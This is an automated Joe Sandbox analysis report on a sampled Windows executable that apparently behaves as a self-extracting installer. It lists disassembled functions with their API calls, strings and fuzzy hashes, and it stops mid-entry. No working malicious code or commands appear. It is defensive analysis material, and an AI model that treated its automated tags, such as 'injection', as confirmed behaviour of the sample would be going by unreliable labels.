Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystemmemcpy
String ID:
API String ID: 2693764856-0
Opcode ID: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction ID: 8154b001b0011d5121478cb58b91efa441906eea3886e432abe560883a3f5ac4
Opcode Fuzzy Hash: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
Instruction Fuzzy Hash: 8421C375941318BFD7215BA1DD48EEB7B7CFF04301F0040B6FA09A2291D7744E948B6A

Function 0040796F Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0040797F
GetSystemMetrics.USER32(0000000B), ref: 0040799B
GetSystemMetrics.USER32(0000003D), ref: 004079A4
GetSystemMetrics.USER32(0000003E), ref: 004079AC
SelectObject.GDI32(?,?), ref: 004079C9
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004079E4
SelectObject.GDI32(?,?), ref: 00407A0A
ReleaseDC.USER32(?,?), ref: 00407A19

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction ID: 872bb3bd96abf1d963658246664a9f9dec04eac668a7313924c28ae5c7f0044f
Opcode Fuzzy Hash: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction Fuzzy Hash: FF216871901209AFCB01CF69DD44A9EBFF4FF08360F10C46AE519A72A0D335AA50DF41

Function 00408921 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040895B
GetDlgItem.USER32(?,000004B8), ref: 00408979
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0040898B
wsprintfW.USER32 ref: 004089A9
??3@YAXPAX@Z.MSVCRT ref: 00408A41

Strings

%d%%, xrefs: 004089A3

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID: %d%%
API String ID: 3753976982-1518462796
Opcode ID: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction ID: dc12f65f6354bcef20b20b64e73197b6a82627a21fa16bd919092f53849079ab
Opcode Fuzzy Hash: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction Fuzzy Hash: C531B371500208BFCB11AF51DD45EEA7BB9FF48304F10802EF986B62E1DB79A910CB59

Function 00408B38 Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00408B52
KillTimer.USER32(?,00000001), ref: 00408B63
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408B8D
SuspendThread.KERNEL32(00000278), ref: 00408BA6
ResumeThread.KERNEL32(00000278), ref: 00408BC3
EndDialog.USER32(?,00000000), ref: 00408BE5

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction ID: 672def9565bfc40134271a6b6781851c3b106654d45cfef20a52af227c3b9f34
Opcode Fuzzy Hash: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction Fuzzy Hash: 101191B4202608EFE7215F52EE85EA7777CFB44745700843EF986A66A1CF396C10DA1D

Function 004041B2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 004041F8
??3@YAXPAX@Z.MSVCRT ref: 00404236
??3@YAXPAX@Z.MSVCRT ref: 0040425C
??3@YAXPAX@Z.MSVCRT ref: 00404264

Strings

%%T/, xrefs: 00404216
%%T\, xrefs: 004041D8

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@
String ID: %%T/$%%T\
API String ID: 613200358-2679640699
Opcode ID: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction ID: df8026740f1f86ca471eb2ea0e41fa98444a64685e80cf153ceacd7fb444c2e9
Opcode Fuzzy Hash: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction Fuzzy Hash: D411C97190010AAACF05FFA2D856CEDBB78AF14708F10846AB551760E2DF789B95CB48

Function 0040426D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 004042B3
??3@YAXPAX@Z.MSVCRT ref: 004042F1
??3@YAXPAX@Z.MSVCRT ref: 00404317
??3@YAXPAX@Z.MSVCRT ref: 0040431F

Strings

%%S\, xrefs: 00404293
%%S/, xrefs: 004042D1

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@
String ID: %%S/$%%S\
API String ID: 613200358-358529586
Opcode ID: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction ID: 4488bc9e4ce621475e7ac020b16d4e8be87a05eb600b5e71f20f3fc481b48b4f
Opcode Fuzzy Hash: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction Fuzzy Hash: 7811C975900109AACF05FFA2D856CEDBB78AF14308F10846AF561760E2DF789B99CB48

Function 00404328 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 0040436E
??3@YAXPAX@Z.MSVCRT ref: 004043AC
??3@YAXPAX@Z.MSVCRT ref: 004043D2
??3@YAXPAX@Z.MSVCRT ref: 004043DA

Strings

%%M/, xrefs: 0040438C
%%M\, xrefs: 0040434E

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@
String ID: %%M/$%%M\
API String ID: 613200358-4143866494
Opcode ID: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction ID: 1e1ecd5a4810495ff1b5747c8ad1555e4ca49c286c4952b26a2a60c5b9476409
Opcode Fuzzy Hash: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction Fuzzy Hash: D411C971900109AACF05FFA2D856CEDBB79AF14308F10846AF551760E2DF785A9ACB58

Function 00408504 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408519
SHBrowseForFolderW.SHELL32(?), ref: 00408532
SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 0040854E
SHGetMalloc.SHELL32(00000000), ref: 00408578

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Strings

A, xrefs: 0040852B
A, xrefs: 0040855F

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: BrowseFocusFolderFromItemListMallocPathmemset
String ID: A$A
API String ID: 1557639607-3025247501
Opcode ID: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction ID: 8e2b46382c4e0e79c38c40a6d9053323f47f27154f6d6a29afbbbbb9270b0dc0
Opcode Fuzzy Hash: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction Fuzzy Hash: 41114FB1A00204ABCB10DB95DA48BDE77BCAB88701F1400AEE905E7281DB79DE04CB75

Function 00407DAC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme,?,00409133,000004B1,00000000,?,?,?,?,?,00409240), ref: 00407DB4
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00407DC5
GetWindow.USER32(?,00000005), ref: 00407DDE
GetWindow.USER32(00000000,00000002), ref: 00407DF4

Strings

SetWindowTheme, xrefs: 00407DBF
uxtheme, xrefs: 00407DAD

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$AddressLibraryLoadProc
String ID: SetWindowTheme$uxtheme
API String ID: 324724604-1369271589
Opcode ID: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction ID: 9b0de1ac587a4165001920f6b170f50534138ecb837747bbddd8b6d978bb5341
Opcode Fuzzy Hash: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction Fuzzy Hash: D3F0A732E4672533C232126A6C48FAB769CDF46B51B094136BD04F7390DFA8DC4041ED

Function 0040B7A0 Relevance: 9.1, APIs: 6, Instructions: 133COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040B824
??3@YAXPAX@Z.MSVCRT ref: 0040B866
??2@YAPAXI@Z.MSVCRT ref: 0040B87C
memmove.MSVCRT ref: 0040B899
??3@YAXPAX@Z.MSVCRT ref: 0040B8A6
memmove.MSVCRT ref: 0040B8C4

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@??3@memmove
String ID:
API String ID: 3828600508-0
Opcode ID: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction ID: 99a0ad40a844e9a3ffa9f049326f458531d7c56977f80c19912095adb51eb10a
Opcode Fuzzy Hash: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction Fuzzy Hash: 284159B56003048FCB14DF19D880A57B7E9FF88304F14856EEC4A9B346D779E919CBAA

Function 0040599C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 00405A1E
??3@YAXPAX@Z.MSVCRT ref: 00405A80
??3@YAXPAX@Z.MSVCRT ref: 00405A98

Part of subcall function 004039E7: lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
Part of subcall function 004039E7: GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
Part of subcall function 004039E7: GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
Part of subcall function 004039E7: ??3@YAXPAX@Z.MSVCRT ref: 00403B30

Strings

;!@Install@!UTF-8!, xrefs: 00405A39
;!@InstallEnd@!, xrefs: 00405A53

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$FileTime$AttributesSystemlstrlen
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 4038993085-372238525
Opcode ID: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction ID: 1d6f72d44ce7b26bafcc2ee4707833dd2b606594c716bb38fa5c6a696ed85d5e
Opcode Fuzzy Hash: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction Fuzzy Hash: 05311B7490022AAACF05EF92CD828EEBB79FF58318F10042BE810761E1DB795645DE58

Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00401053
wsprintfW.USER32 ref: 00401071
lstrcatW.KERNEL32(?,?), ref: 00401084
ExitProcess.KERNEL32 ref: 004010AC

Strings

0x%p, xrefs: 0040106B

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: wsprintf$ExitProcesslstrcat
String ID: 0x%p
API String ID: 2530384128-1745605757
Opcode ID: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction ID: 10afd36f4070d89f293b01a92875ce402ef2d19f58a346a7dbf4abb5c9f18492
Opcode Fuzzy Hash: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction Fuzzy Hash: 531182B5801208EFCB20EFB5DD85DDA73B8AF04304F00447BE645B3191D778AA948B5A

Function 00402E67 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402E98
??3@YAXPAX@Z.MSVCRT ref: 00402EA1

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT ref: 004011FD

ExpandEnvironmentStringsW.KERNEL32(SetEnvironment,00000000,00000001,00000001,SetEnvironment), ref: 00402EB9
??3@YAXPAX@Z.MSVCRT ref: 00402ED9

Strings

SetEnvironment, xrefs: 00402EA9, 00402EB8

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$EnvironmentExpandStrings$??2@
String ID: SetEnvironment
API String ID: 612612615-360490078
Opcode ID: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction ID: 9a1053b96c855abc576ef2a573940a7f22d1fb52882628247968529f0f67b02c
Opcode Fuzzy Hash: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction Fuzzy Hash: 66015276900104BADB14AB95DD819EEB7BCEF48314F10416BFD01B21D1DB786A408A99

Function 004049A9 Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0041E3F0,00000020,?,?,?,?,?,00406547,?,?), ref: 004049C2
??3@YAXPAX@Z.MSVCRT ref: 00404A74
??3@YAXPAX@Z.MSVCRT ref: 00404A7C
??3@YAXPAX@Z.MSVCRT ref: 00404A8B
??3@YAXPAX@Z.MSVCRT ref: 00404A93

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??3@$lstrlen
String ID:
API String ID: 2031685711-0
Opcode ID: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction ID: d6d6aeb9fd97b078be875a6c61f5694a486b541387e48e1a0363308d58f113ad
Opcode Fuzzy Hash: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction Fuzzy Hash: 2E21E3B6E40205ABCF206FB5CC029EB77A8EF84355F10447BEE41B72D1E7784D858A99

Function 00408828 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000B), ref: 004081F6
Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000C), ref: 004081FF

GetSystemMetrics.USER32(00000007), ref: 0040883F
GetSystemMetrics.USER32(00000007), ref: 00408850
??3@YAXPAX@Z.MSVCRT ref: 00408917

Strings

100%% , xrefs: 0040886F, 00408876, 004088CF

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MetricsSystem$??3@
String ID: 100%%
API String ID: 2562992111-568723177
Opcode ID: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction ID: c0f787396fa6b3de95c2f82887938995bcf82f961e42ceb6ace71c8d1a060617
Opcode Fuzzy Hash: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction Fuzzy Hash: 51318171A007059FCB24EF6ACA459AEB7F4EF54704B00052ED982A72D1DB78FE44CB99

Function 00404505 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00406EB0,00000000,?,ExecuteFile,0040454C,00000000,00000000,00406EB0,?,waitall,00000000,00000000,?,?,0041E9E8), ref: 00404512
lstrlenW.KERNEL32(?,?,?,0041E9E8), ref: 0040451B
_wcsnicmp.MSVCRT ref: 00404527

Strings

ExecuteFile, xrefs: 00404505

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$_wcsnicmp
String ID: ExecuteFile
API String ID: 2823567412-323923146
Opcode ID: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction ID: a2e0a5f2a3f105f817df911ac3b4dcd355adebb597ea1c4786e8ca368391ef02
Opcode Fuzzy Hash: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction Fuzzy Hash: BFE04FF25052156BC6008FA5AC84C5BBBADEAC8356B540877F700E3112E735D8198BA6

Function 004026AB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00407200,00000000,?,?), ref: 004026BE
GetProcAddress.KERNEL32(00000000), ref: 004026C5

Strings

Wow64RevertWow64FsRedirection, xrefs: 004026B4
kernel32, xrefs: 004026B9

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 2574300362-3900151262
Opcode ID: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction ID: 82409627fcb45dd1da2fa5f3e3d8c344d82775180731f09fcf798d9da7421b86
Opcode Fuzzy Hash: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction Fuzzy Hash: D4D0A7B4593608ABD7001B62EE0CFE276A56B40701F4480356400E00F0CBFD44D1CE1E

Function 004026DF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,00402735,?,0040713A,?,00000000,?,?), ref: 004026F0
GetProcAddress.KERNEL32(00000000), ref: 004026F7

Strings

Wow64DisableWow64FsRedirection, xrefs: 004026E6
kernel32, xrefs: 004026EB

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904360473.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 2574300362-736604160
Opcode ID: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction ID: 4151df8360ba703b2413aa493284ccd41186626ab8f45a3e4bc2e954db12d2dd
Opcode Fuzzy Hash: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction Fuzzy Hash: C7D0C9B86936046AD6505BA6AD0DFE6B6A4AB80B02F9880296804E11E1C6FC4491DA2F

Function 004030CC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 004031D2

Part of subcall function 00402DCE: MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,00000000,00000000,00403130,?,?,00000000,00000000,00000000), ref: 00402E00

??3@YAXPAX@Z.MSVCRT ref: 0040313F
??3@YAXPAX@Z.MSVCRT ref: 0040315A
??3@YAXPAX@Z.MSVCRT ref: 00403162

Memory Dump Source

Source File: 00000000.00000002.2904254368.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2904222642.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904297406.000000000041A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2904328428.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
